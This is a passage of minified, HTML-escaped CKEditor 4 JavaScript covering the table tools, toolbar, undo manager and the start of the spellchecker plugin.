&quot;right&quot;),!0)}}));t(&quot;cellMergeDown&quot;,h({allowedContent:&quot;td[rowspan]&quot;,requiredContent:&quot;td[rowspan]&quot;,exec:function(a){f(l(a.getSelection(),&quot;down&quot;),!0)}}));t(&quot;cellVerticalSplit&quot;,h({allowedContent:&quot;td[rowspan]&quot;,requiredContent:&quot;td[rowspan]&quot;,exec:function(a){f(n(a.getSelection()))}}));t(&quot;cellHorizontalSplit&quot;,h({allowedContent:&quot;td[colspan]&quot;,requiredContent:&quot;td[colspan]&quot;,exec:function(a){f(g(a.getSelection()))}}));t(&quot;cellInsertBefore&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();k(a,!0)}}));
t(&quot;cellInsertAfter&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();k(a)}}));c.addMenuItems&amp;&amp;c.addMenuItems({tablecell:{label:p.cell.menu,group:&quot;tablecell&quot;,order:1,getItems:function(){var b=c.getSelection(),d=a(b);return{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:l(b,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:l(b,&quot;right&quot;,!0)?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:l(b,&quot;down&quot;,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:n(b,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_horizontal:g(b,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_properties:0&lt;d.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}},tablecell_insertBefore:{label:p.cell.insertBefore,group:&quot;tablecell&quot;,command:&quot;cellInsertBefore&quot;,order:5},tablecell_insertAfter:{label:p.cell.insertAfter,
group:&quot;tablecell&quot;,command:&quot;cellInsertAfter&quot;,order:10},tablecell_delete:{label:p.cell.deleteCell,group:&quot;tablecell&quot;,command:&quot;cellDelete&quot;,order:15},tablecell_merge:{label:p.cell.merge,group:&quot;tablecell&quot;,command:&quot;cellMerge&quot;,order:16},tablecell_merge_right:{label:p.cell.mergeRight,group:&quot;tablecell&quot;,command:&quot;cellMergeRight&quot;,order:17},tablecell_merge_down:{label:p.cell.mergeDown,group:&quot;tablecell&quot;,command:&quot;cellMergeDown&quot;,order:18},tablecell_split_horizontal:{label:p.cell.splitHorizontal,group:&quot;tablecell&quot;,
command:&quot;cellHorizontalSplit&quot;,order:19},tablecell_split_vertical:{label:p.cell.splitVertical,group:&quot;tablecell&quot;,command:&quot;cellVerticalSplit&quot;,order:20},tablecell_properties:{label:p.cell.title,group:&quot;tablecellproperties&quot;,command:&quot;cellProperties&quot;,order:21},tablerow:{label:p.row.menu,group:&quot;tablerow&quot;,order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:p.row.insertBefore,
group:&quot;tablerow&quot;,command:&quot;rowInsertBefore&quot;,order:5},tablerow_insertAfter:{label:p.row.insertAfter,group:&quot;tablerow&quot;,command:&quot;rowInsertAfter&quot;,order:10},tablerow_delete:{label:p.row.deleteRow,group:&quot;tablerow&quot;,command:&quot;rowDelete&quot;,order:15},tablecolumn:{label:p.column.menu,group:&quot;tablecolumn&quot;,order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:p.column.insertBefore,
group:&quot;tablecolumn&quot;,command:&quot;columnInsertBefore&quot;,order:5},tablecolumn_insertAfter:{label:p.column.insertAfter,group:&quot;tablecolumn&quot;,command:&quot;columnInsertAfter&quot;,order:10},tablecolumn_delete:{label:p.column.deleteColumn,group:&quot;tablecolumn&quot;,command:&quot;columnDelete&quot;,order:15}});c.contextMenu&amp;&amp;c.contextMenu.addListener(function(a,b,c){return(a=c.contains({td:1,th:1},1))&amp;&amp;!a.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null})},getSelectedCells:a};
CKEDITOR.plugins.add(&quot;tabletools&quot;,CKEDITOR.plugins.tabletools)}(),CKEDITOR.tools.buildTableMap=function(a){a=a.$.rows;for(var e=-1,b=[],c=0;c&lt;a.length;c++){e++;!b[e]&amp;&amp;(b[e]=[]);for(var d=-1,k=0;k&lt;a[c].cells.length;k++){var m=a[c].cells[k];for(d++;b[e][d];)d++;for(var f=isNaN(m.colSpan)?1:m.colSpan,m=isNaN(m.rowSpan)?1:m.rowSpan,h=0;h&lt;m;h++){b[e+h]||(b[e+h]=[]);for(var l=0;l&lt;f;l++)b[e+h][d+l]=a[c].cells[k]}d+=f-1}}return b},function(){function a(a){function b(){for(var g=c(),h=CKEDITOR.tools.clone(a.config.toolbarGroups)||
e(a),l=0;l&lt;h.length;l++){var k=h[l];if(&quot;/&quot;!=k){&quot;string&quot;==typeof k&amp;&amp;(k=h[l]={name:k});var t,p=k.groups;if(p)for(var y=0;y&lt;p.length;y++)t=p[y],(t=g[t])&amp;&amp;f(k,t);(t=g[k.name])&amp;&amp;f(k,t)}}return h}function c(){var b={},f,e,g;for(f in a.ui.items)e=a.ui.items[f],g=e.toolbar||&quot;others&quot;,g=g.split(&quot;,&quot;),e=g[0],g=parseInt(g[1]||-1,10),b[e]||(b[e]=[]),b[e].push({name:f,order:g});for(e in b)b[e]=b[e].sort(function(a,b){return a.order==b.order?0:0&gt;b.order?-1:0&gt;a.order?1:a.order&lt;b.order?-1:1});return b}function f(b,
c){if(c.length){b.items?b.items.push(a.ui.create(&quot;-&quot;)):b.items=[];for(var f;f=c.shift();)f=&quot;string&quot;==typeof f?f:f.name,l&amp;&amp;-1!=CKEDITOR.tools.indexOf(l,f)||(f=a.ui.create(f))&amp;&amp;a.addFeature(f)&amp;&amp;b.items.push(f)}}function h(a){var b=[],c,d,e;for(c=0;c&lt;a.length;++c)d=a[c],e={},&quot;/&quot;==d?b.push(d):CKEDITOR.tools.isArray(d)?(f(e,CKEDITOR.tools.clone(d)),b.push(e)):d.items&amp;&amp;(f(e,CKEDITOR.tools.clone(d.items)),e.name=d.name,b.push(e));return b}var l=a.config.removeButtons,l=l&amp;&amp;l.split(&quot;,&quot;),g=a.config.toolbar;
&quot;string&quot;==typeof g&amp;&amp;(g=a.config[&quot;toolbar_&quot;+g]);return a.toolbar=g?h(g):b()}function e(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:&quot;document&quot;,groups:[&quot;mode&quot;,&quot;document&quot;,&quot;doctools&quot;]},{name:&quot;clipboard&quot;,groups:[&quot;clipboard&quot;,&quot;undo&quot;]},{name:&quot;editing&quot;,groups:[&quot;find&quot;,&quot;selection&quot;,&quot;spellchecker&quot;]},{name:&quot;forms&quot;},&quot;/&quot;,{name:&quot;basicstyles&quot;,groups:[&quot;basicstyles&quot;,&quot;cleanup&quot;]},{name:&quot;paragraph&quot;,groups:[&quot;list&quot;,&quot;indent&quot;,&quot;blocks&quot;,&quot;align&quot;,&quot;bidi&quot;]},{name:&quot;links&quot;},{name:&quot;insert&quot;},&quot;/&quot;,{name:&quot;styles&quot;},{name:&quot;colors&quot;},
{name:&quot;tools&quot;},{name:&quot;others&quot;},{name:&quot;about&quot;}])}var b=function(){this.toolbars=[];this.focusCommandExecuted=!1};b.prototype.focus=function(){for(var a=0,b;b=this.toolbars[a++];)for(var c=0,f;f=b.items[c++];)if(f.focus){f.focus();return}};var c={modes:{wysiwyg:1,source:1},readOnly:1,exec:function(a){a.toolbox&amp;&amp;(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},100):a.toolbox.focus())}};CKEDITOR.plugins.add(&quot;toolbar&quot;,{requires:&quot;button&quot;,init:function(d){var e,
m=function(a,b){var c,g=&quot;rtl&quot;==d.lang.dir,n=d.config.toolbarGroupCycling,v=g?37:39,g=g?39:37,n=void 0===n||n;switch(b){case 9:case CKEDITOR.SHIFT+9:for(;!c||!c.items.length;)if(c=9==b?(c?c.next:a.toolbar.next)||d.toolbox.toolbars[0]:(c?c.previous:a.toolbar.previous)||d.toolbox.toolbars[d.toolbox.toolbars.length-1],c.items.length)for(a=c.items[e?c.items.length-1:0];a&amp;&amp;!a.focus;)(a=e?a.previous:a.next)||(c=0);a&amp;&amp;a.focus();return!1;case v:c=a;do c=c.next,!c&amp;&amp;n&amp;&amp;(c=a.toolbar.items[0]);while(c&amp;&amp;!c.focus);
c?c.focus():m(a,9);return!1;case 40:return a.button&amp;&amp;a.button.hasArrow?(d.once(&quot;panelShow&quot;,function(a){a.data._.panel._.currentBlock.onKeyDown(40)}),a.execute()):m(a,40==b?v:g),!1;case g:case 38:c=a;do c=c.previous,!c&amp;&amp;n&amp;&amp;(c=a.toolbar.items[a.toolbar.items.length-1]);while(c&amp;&amp;!c.focus);c?c.focus():(e=1,m(a,CKEDITOR.SHIFT+9),e=0);return!1;case 27:return d.focus(),!1;case 13:case 32:return a.execute(),!1}return!0};d.on(&quot;uiSpace&quot;,function(c){if(c.data.space==d.config.toolbarLocation){c.removeListener();
d.toolbox=new b;var e=CKEDITOR.tools.getNextId(),l=[&#039;\x3cspan id\x3d&quot;&#039;,e,&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;,d.lang.toolbar.toolbars,&quot;\x3c/span\x3e&quot;,&#039;\x3cspan id\x3d&quot;&#039;+d.ui.spaceId(&quot;toolbox&quot;)+&#039;&quot; class\x3d&quot;cke_toolbox&quot; role\x3d&quot;group&quot; aria-labelledby\x3d&quot;&#039;,e,&#039;&quot; onmousedown\x3d&quot;return false;&quot;\x3e&#039;],e=!1!==d.config.toolbarStartupExpanded,g,k;d.config.toolbarCanCollapse&amp;&amp;d.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&amp;&amp;l.push(&#039;\x3cspan class\x3d&quot;cke_toolbox_main&quot;&#039;+(e?&quot;\x3e&quot;:&#039; style\x3d&quot;display:none&quot;\x3e&#039;));
for(var v=d.toolbox.toolbars,u=a(d),q=0;q&lt;u.length;q++){var t,p=0,y,A=u[q],z;if(A)if(g&amp;&amp;(l.push(&quot;\x3c/span\x3e&quot;),k=g=0),&quot;/&quot;===A)l.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_break&quot;\x3e\x3c/span\x3e&#039;);else{z=A.items||A;for(var r=0;r&lt;z.length;r++){var w=z[r],C;if(w){var x=function(a){a=a.render(d,l);B=p.items.push(a)-1;0&lt;B&amp;&amp;(a.previous=p.items[B-1],a.previous.next=a);a.toolbar=p;a.onkey=m;a.onfocus=function(){d.toolbox.focusCommandExecuted||d.focus()}};if(w.type==CKEDITOR.UI_SEPARATOR)k=g&amp;&amp;w;else{C=!1!==w.canGroup;
if(!p){t=CKEDITOR.tools.getNextId();p={id:t,items:[]};y=A.name&amp;&amp;(d.lang.toolbar.toolbarGroups[A.name]||A.name);l.push(&#039;\x3cspan id\x3d&quot;&#039;,t,&#039;&quot; class\x3d&quot;cke_toolbar&quot;&#039;,y?&#039; aria-labelledby\x3d&quot;&#039;+t+&#039;_label&quot;&#039;:&quot;&quot;,&#039; role\x3d&quot;toolbar&quot;\x3e&#039;);y&amp;&amp;l.push(&#039;\x3cspan id\x3d&quot;&#039;,t,&#039;_label&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;,y,&quot;\x3c/span\x3e&quot;);l.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_start&quot;\x3e\x3c/span\x3e&#039;);var B=v.push(p)-1;0&lt;B&amp;&amp;(p.previous=v[B-1],p.previous.next=p)}C?g||(l.push(&#039;\x3cspan class\x3d&quot;cke_toolgroup&quot; role\x3d&quot;presentation&quot;\x3e&#039;),
g=1):g&amp;&amp;(l.push(&quot;\x3c/span\x3e&quot;),g=0);k&amp;&amp;(x(k),k=0);x(w)}}}g&amp;&amp;(l.push(&quot;\x3c/span\x3e&quot;),k=g=0);p&amp;&amp;l.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_end&quot;\x3e\x3c/span\x3e\x3c/span\x3e&#039;)}}d.config.toolbarCanCollapse&amp;&amp;l.push(&quot;\x3c/span\x3e&quot;);if(d.config.toolbarCanCollapse&amp;&amp;d.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var D=CKEDITOR.tools.addFunction(function(){d.execCommand(&quot;toolbarCollapse&quot;)});d.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(D)});d.addCommand(&quot;toolbarCollapse&quot;,{readOnly:1,exec:function(a){var b=
a.ui.space(&quot;toolbar_collapser&quot;),c=b.getPrevious(),d=a.ui.space(&quot;contents&quot;),f=c.getParent(),e=parseInt(d.$.style.height,10),g=f.$.offsetHeight,h=b.hasClass(&quot;cke_toolbox_collapser_min&quot;);h?(c.show(),b.removeClass(&quot;cke_toolbox_collapser_min&quot;),b.setAttribute(&quot;title&quot;,a.lang.toolbar.toolbarCollapse)):(c.hide(),b.addClass(&quot;cke_toolbox_collapser_min&quot;),b.setAttribute(&quot;title&quot;,a.lang.toolbar.toolbarExpand));b.getFirst().setText(h?&quot;▲&quot;:&quot;◀&quot;);d.setStyle(&quot;height&quot;,e-(f.$.offsetHeight-g)+&quot;px&quot;);a.fire(&quot;resize&quot;,{outerHeight:a.container.$.offsetHeight,
contentsHeight:d.$.offsetHeight,outerWidth:a.container.$.offsetWidth})},modes:{wysiwyg:1,source:1}});d.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?189:109),&quot;toolbarCollapse&quot;);l.push(&#039;\x3ca title\x3d&quot;&#039;+(e?d.lang.toolbar.toolbarCollapse:d.lang.toolbar.toolbarExpand)+&#039;&quot; id\x3d&quot;&#039;+d.ui.spaceId(&quot;toolbar_collapser&quot;)+&#039;&quot; tabIndex\x3d&quot;-1&quot; class\x3d&quot;cke_toolbox_collapser&#039;);e||l.push(&quot; cke_toolbox_collapser_min&quot;);l.push(&#039;&quot; onclick\x3d&quot;CKEDITOR.tools.callFunction(&#039;+D+&#039;)&quot;\x3e&#039;,&#039;\x3cspan class\x3d&quot;cke_arrow&quot;\x3e\x26#9650;\x3c/span\x3e&#039;,
&quot;\x3c/a\x3e&quot;)}l.push(&quot;\x3c/span\x3e&quot;);c.data.html+=l.join(&quot;&quot;)}});d.on(&quot;destroy&quot;,function(){if(this.toolbox){var a,b=0,c,d,e;for(a=this.toolbox.toolbars;b&lt;a.length;b++)for(d=a[b].items,c=0;c&lt;d.length;c++)e=d[c],e.clickFn&amp;&amp;CKEDITOR.tools.removeFunction(e.clickFn),e.keyDownFn&amp;&amp;CKEDITOR.tools.removeFunction(e.keyDownFn)}});d.on(&quot;uiReady&quot;,function(){var a=d.ui.space(&quot;toolbox&quot;);a&amp;&amp;d.focusManager.add(a,1)});d.addCommand(&quot;toolbarFocus&quot;,c);d.setKeystroke(CKEDITOR.ALT+121,&quot;toolbarFocus&quot;);d.ui.add(&quot;-&quot;,CKEDITOR.UI_SEPARATOR,
{});d.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,b){b.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_separator&quot; role\x3d&quot;separator&quot;\x3e\x3c/span\x3e&#039;);return{}}}}})}});CKEDITOR.ui.prototype.addToolbarGroup=function(a,b,c){var f=e(this.editor),h=0===b,l={name:a};if(c){if(c=CKEDITOR.tools.search(f,function(a){return a.name==c})){!c.groups&amp;&amp;(c.groups=[]);if(b&amp;&amp;(b=CKEDITOR.tools.indexOf(c.groups,b),0&lt;=b)){c.groups.splice(b+1,0,a);return}h?c.groups.splice(0,0,a):c.groups.push(a);
return}b=null}b&amp;&amp;(b=CKEDITOR.tools.indexOf(f,function(a){return a.name==b}));h?f.splice(0,0,a):&quot;number&quot;==typeof b?f.splice(b+1,0,l):f.push(a)}}(),CKEDITOR.UI_SEPARATOR=&quot;separator&quot;,CKEDITOR.config.toolbarLocation=&quot;top&quot;,&quot;use strict&quot;,function(){var a=[CKEDITOR.CTRL+90,CKEDITOR.CTRL+89,CKEDITOR.CTRL+CKEDITOR.SHIFT+90],e={8:1,46:1};CKEDITOR.plugins.add(&quot;undo&quot;,{init:function(c){function d(a){g.enabled&amp;&amp;!1!==a.data.command.canUndo&amp;&amp;g.save()}function e(){g.enabled=c.readOnly?!1:&quot;wysiwyg&quot;==c.mode;g.onChange()}
var g=c.undoManager=new b(c),m=g.editingHandler=new k(g),v=c.addCommand(&quot;undo&quot;,{exec:function(){g.undo()&amp;&amp;(c.selectionChange(),this.fire(&quot;afterUndo&quot;))},startDisabled:!0,canUndo:!1}),u=c.addCommand(&quot;redo&quot;,{exec:function(){g.redo()&amp;&amp;(c.selectionChange(),this.fire(&quot;afterRedo&quot;))},startDisabled:!0,canUndo:!1});c.setKeystroke([[a[0],&quot;undo&quot;],[a[1],&quot;redo&quot;],[a[2],&quot;redo&quot;]]);g.onChange=function(){v.setState(g.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);u.setState(g.redoable()?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED)};c.on(&quot;beforeCommandExec&quot;,d);c.on(&quot;afterCommandExec&quot;,d);c.on(&quot;saveSnapshot&quot;,function(a){g.save(a.data&amp;&amp;a.data.contentOnly)});c.on(&quot;contentDom&quot;,m.attachListeners,m);c.on(&quot;instanceReady&quot;,function(){c.fire(&quot;saveSnapshot&quot;)});c.on(&quot;beforeModeUnload&quot;,function(){&quot;wysiwyg&quot;==c.mode&amp;&amp;g.save(!0)});c.on(&quot;mode&quot;,e);c.on(&quot;readOnly&quot;,e);c.ui.addButton&amp;&amp;(c.ui.addButton(&quot;Undo&quot;,{label:c.lang.undo.undo,command:&quot;undo&quot;,toolbar:&quot;undo,10&quot;}),c.ui.addButton(&quot;Redo&quot;,{label:c.lang.undo.redo,command:&quot;redo&quot;,
toolbar:&quot;undo,20&quot;}));c.resetUndo=function(){g.reset();c.fire(&quot;saveSnapshot&quot;)};c.on(&quot;updateSnapshot&quot;,function(){g.currentImage&amp;&amp;g.update()});c.on(&quot;lockSnapshot&quot;,function(a){a=a.data;g.lock(a&amp;&amp;a.dontUpdate,a&amp;&amp;a.forceUpdate)});c.on(&quot;unlockSnapshot&quot;,g.unlock,g)}});CKEDITOR.plugins.undo={};var b=CKEDITOR.plugins.undo.UndoManager=function(a){this.strokesRecorded=[0,0];this.locked=null;this.previousKeyGroup=-1;this.limit=a.config.undoStackSize||20;this.strokesLimit=25;this.editor=a;this.reset()};b.prototype=
{type:function(a,c){var d=b.getKeyGroup(a),e=this.strokesRecorded[d]+1;c=c||e&gt;=this.strokesLimit;this.typing||(this.hasUndo=this.typing=!0,this.hasRedo=!1,this.onChange());c?(e=0,this.editor.fire(&quot;saveSnapshot&quot;)):this.editor.fire(&quot;change&quot;);this.strokesRecorded[d]=e;this.previousKeyGroup=d},keyGroupChanged:function(a){return b.getKeyGroup(a)!=this.previousKeyGroup},reset:function(){this.snapshots=[];this.index=-1;this.currentImage=null;this.hasRedo=this.hasUndo=!1;this.locked=null;this.resetType()},
resetType:function(){this.strokesRecorded=[0,0];this.typing=!1;this.previousKeyGroup=-1},refreshState:function(){this.hasUndo=!!this.getNextImage(!0);this.hasRedo=!!this.getNextImage(!1);this.resetType();this.onChange()},save:function(a,b,d){var e=this.editor;if(this.locked||&quot;ready&quot;!=e.status||&quot;wysiwyg&quot;!=e.mode)return!1;var k=e.editable();if(!k||&quot;ready&quot;!=k.status)return!1;k=this.snapshots;b||(b=new c(e));if(!1===b.contents)return!1;if(this.currentImage)if(b.equalsContent(this.currentImage)){if(a||
b.equalsSelection(this.currentImage))return!1}else!1!==d&amp;&amp;e.fire(&quot;change&quot;);k.splice(this.index+1,k.length-this.index-1);k.length==this.limit&amp;&amp;k.shift();this.index=k.push(b)-1;this.currentImage=b;!1!==d&amp;&amp;this.refreshState();return!0},restoreImage:function(a){var b=this.editor,c;a.bookmarks&amp;&amp;(b.focus(),c=b.getSelection());this.locked={level:999};this.editor.loadSnapshot(a.contents);a.bookmarks?c.selectBookmarks(a.bookmarks):CKEDITOR.env.ie&amp;&amp;(c=this.editor.document.getBody().$.createTextRange(),c.collapse(!0),
c.select());this.locked=null;this.index=a.index;this.currentImage=this.snapshots[this.index];this.update();this.refreshState();b.fire(&quot;change&quot;)},getNextImage:function(a){var b=this.snapshots,c=this.currentImage,d;if(c)if(a)for(d=this.index-1;0&lt;=d;d--){if(a=b[d],!c.equalsContent(a))return a.index=d,a}else for(d=this.index+1;d&lt;b.length;d++)if(a=b[d],!c.equalsContent(a))return a.index=d,a;return null},redoable:function(){return this.enabled&amp;&amp;this.hasRedo},undoable:function(){return this.enabled&amp;&amp;this.hasUndo},
undo:function(){if(this.undoable()){this.save(!0);var a=this.getNextImage(!0);if(a)return this.restoreImage(a),!0}return!1},redo:function(){if(this.redoable()&amp;&amp;(this.save(!0),this.redoable())){var a=this.getNextImage(!1);if(a)return this.restoreImage(a),!0}return!1},update:function(a){if(!this.locked){a||(a=new c(this.editor));for(var b=this.index,d=this.snapshots;0&lt;b&amp;&amp;this.currentImage.equalsContent(d[b-1]);)--b;d.splice(b,this.index-b+1,a);this.index=b;this.currentImage=a}},updateSelection:function(a){if(!this.snapshots.length)return!1;
var b=this.snapshots,c=b[b.length-1];return c.equalsContent(a)&amp;&amp;!c.equalsSelection(a)?(this.currentImage=b[b.length-1]=a,!0):!1},lock:function(a,b){if(this.locked)this.locked.level++;else if(a)this.locked={level:1};else{var d=null;if(b)d=!0;else{var e=new c(this.editor,!0);this.currentImage&amp;&amp;this.currentImage.equalsContent(e)&amp;&amp;(d=e)}this.locked={update:d,level:1}}},unlock:function(){if(this.locked&amp;&amp;!--this.locked.level){var a=this.locked.update;this.locked=null;if(!0===a)this.update();else if(a){var b=
new c(this.editor,!0);a.equalsContent(b)||this.update()}}}};b.navigationKeyCodes={37:1,38:1,39:1,40:1,36:1,35:1,33:1,34:1};b.keyGroups={PRINTABLE:0,FUNCTIONAL:1};b.isNavigationKey=function(a){return!!b.navigationKeyCodes[a]};b.getKeyGroup=function(a){var c=b.keyGroups;return e[a]?c.FUNCTIONAL:c.PRINTABLE};b.getOppositeKeyGroup=function(a){var c=b.keyGroups;return a==c.FUNCTIONAL?c.PRINTABLE:c.FUNCTIONAL};b.ieFunctionalKeysBug=function(a){return CKEDITOR.env.ie&amp;&amp;b.getKeyGroup(a)==b.keyGroups.FUNCTIONAL};
var c=CKEDITOR.plugins.undo.Image=function(a,b){this.editor=a;a.fire(&quot;beforeUndoImage&quot;);var c=a.getSnapshot();CKEDITOR.env.ie&amp;&amp;c&amp;&amp;(c=c.replace(/\s+data-cke-expando=&quot;.*?&quot;/g,&quot;&quot;));this.contents=c;b||(this.bookmarks=(c=c&amp;&amp;a.getSelection())&amp;&amp;c.createBookmarks2(!0));a.fire(&quot;afterUndoImage&quot;)},d=/\b(?:href|src|name)=&quot;[^&quot;]*?&quot;/gi;c.prototype={equalsContent:function(a){var b=this.contents;a=a.contents;CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)&amp;&amp;(b=b.replace(d,&quot;&quot;),a=a.replace(d,&quot;&quot;));return b!=
a?!1:!0},equalsSelection:function(a){var b=this.bookmarks;a=a.bookmarks;if(b||a){if(!b||!a||b.length!=a.length)return!1;for(var c=0;c&lt;b.length;c++){var d=b[c],e=a[c];if(d.startOffset!=e.startOffset||d.endOffset!=e.endOffset||!CKEDITOR.tools.arrayCompare(d.start,e.start)||!CKEDITOR.tools.arrayCompare(d.end,e.end))return!1}}return!0}};var k=CKEDITOR.plugins.undo.NativeEditingHandler=function(a){this.undoManager=a;this.ignoreInputEvent=!1;this.keyEventsStack=new m;this.lastKeydownImage=null};k.prototype=
{onKeydown:function(d){var e=d.data.getKey();if(229!==e)if(-1&lt;CKEDITOR.tools.indexOf(a,d.data.getKeystroke()))d.data.preventDefault();else if(this.keyEventsStack.cleanUp(d),d=this.undoManager,this.keyEventsStack.getLast(e)||this.keyEventsStack.push(e),this.lastKeydownImage=new c(d.editor),b.isNavigationKey(e)||this.undoManager.keyGroupChanged(e))if(d.strokesRecorded[0]||d.strokesRecorded[1])d.save(!1,this.lastKeydownImage,!1),d.resetType()},onInput:function(){if(this.ignoreInputEvent)this.ignoreInputEvent=
!1;else{var a=this.keyEventsStack.getLast();a||(a=this.keyEventsStack.push(0));this.keyEventsStack.increment(a.keyCode);this.keyEventsStack.getTotalInputs()&gt;=this.undoManager.strokesLimit&amp;&amp;(this.undoManager.type(a.keyCode,!0),this.keyEventsStack.resetInputs())}},onKeyup:function(a){var d=this.undoManager;a=a.data.getKey();var e=this.keyEventsStack.getTotalInputs();this.keyEventsStack.remove(a);if(!(b.ieFunctionalKeysBug(a)&amp;&amp;this.lastKeydownImage&amp;&amp;this.lastKeydownImage.equalsContent(new c(d.editor,
!0))))if(0&lt;e)d.type(a);else if(b.isNavigationKey(a))this.onNavigationKey(!0)},onNavigationKey:function(a){var b=this.undoManager;!a&amp;&amp;b.save(!0,null,!1)||b.updateSelection(new c(b.editor));b.resetType()},ignoreInputEventListener:function(){this.ignoreInputEvent=!0},attachListeners:function(){var a=this.undoManager.editor,c=a.editable(),d=this;c.attachListener(c,&quot;keydown&quot;,function(a){d.onKeydown(a);if(b.ieFunctionalKeysBug(a.data.getKey()))d.onInput()},null,null,999);c.attachListener(c,CKEDITOR.env.ie?
&quot;keypress&quot;:&quot;input&quot;,d.onInput,d,null,999);c.attachListener(c,&quot;keyup&quot;,d.onKeyup,d,null,999);c.attachListener(c,&quot;paste&quot;,d.ignoreInputEventListener,d,null,999);c.attachListener(c,&quot;drop&quot;,d.ignoreInputEventListener,d,null,999);c.attachListener(c.isInline()?c:a.document.getDocumentElement(),&quot;click&quot;,function(){d.onNavigationKey()},null,null,999);c.attachListener(this.undoManager.editor,&quot;blur&quot;,function(){d.keyEventsStack.remove(9)},null,null,999)}};var m=CKEDITOR.plugins.undo.KeyEventsStack=function(){this.stack=
[]};m.prototype={push:function(a){a=this.stack.push({keyCode:a,inputs:0});return this.stack[a-1]},getLastIndex:function(a){if(&quot;number&quot;!=typeof a)return this.stack.length-1;for(var b=this.stack.length;b--;)if(this.stack[b].keyCode==a)return b;return-1},getLast:function(a){a=this.getLastIndex(a);return-1!=a?this.stack[a]:null},increment:function(a){this.getLast(a).inputs++},remove:function(a){a=this.getLastIndex(a);-1!=a&amp;&amp;this.stack.splice(a,1)},resetInputs:function(a){if(&quot;number&quot;==typeof a)this.getLast(a).inputs=
0;else for(a=this.stack.length;a--;)this.stack[a].inputs=0},getTotalInputs:function(){for(var a=this.stack.length,b=0;a--;)b+=this.stack[a].inputs;return b},cleanUp:function(a){a=a.data.$;a.ctrlKey||a.metaKey||this.remove(17);a.shiftKey||this.remove(16);a.altKey||this.remove(18)}}}(),CKEDITOR.plugins.add(&quot;wsc&quot;,{requires:&quot;dialog&quot;,parseApi:function(a){a.config.wsc_onFinish=&quot;function&quot;===typeof a.config.wsc_onFinish?a.config.wsc_onFinish:function(){};a.config.wsc_onClose=&quot;function&quot;===typeof a.config.wsc_onClose?
a.config.wsc_onClose:function(){}},parseConfig:function(a){a.config.wsc_customerId=a.config.wsc_customerId||CKEDITOR.config.wsc_customerId||&quot;1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk&quot;;a.config.wsc_customDictionaryIds=a.config.wsc_customDictionaryIds||CKEDITOR.config.wsc_customDictionaryIds||&quot;&quot;;a.config.wsc_userDictionaryName=a.config.wsc_userDictionaryName||CKEDITOR.config.wsc_userDictionaryName||&quot;&quot;;a.config.wsc_customLoaderScript=a.config.wsc_customLoaderScript||CKEDITOR.config.wsc_customLoaderScript;
CKEDITOR.config.wsc_cmd=a.config.wsc_cmd||CKEDITOR.config.wsc_cmd||&quot;spell&quot;;CKEDITOR.config.wsc_version=&quot;v4.3.0-master-d769233&quot;;CKEDITOR.config.wsc_removeGlobalVariable=!0},init:function(a){var e=CKEDITOR.env;this.parseConfig(a);this.parseApi(a);a.addCommand(&quot;checkspell&quot;,new CKEDITOR.dialogCommand(&quot;checkspell&quot;)).modes={wysiwyg:!CKEDITOR.env.opera&amp;&amp;!CKEDITOR.env.air&amp;&amp;document.domain==window.location.hostname&amp;&amp;!(e.ie&amp;&amp;(8&gt;e.version||e.quirks))};&quot;undefined&quot;==typeof a.plugins.scayt&amp;&amp;a.ui.addButton&amp;&amp;a.ui.addButton(&quot;SpellChecker&quot;,
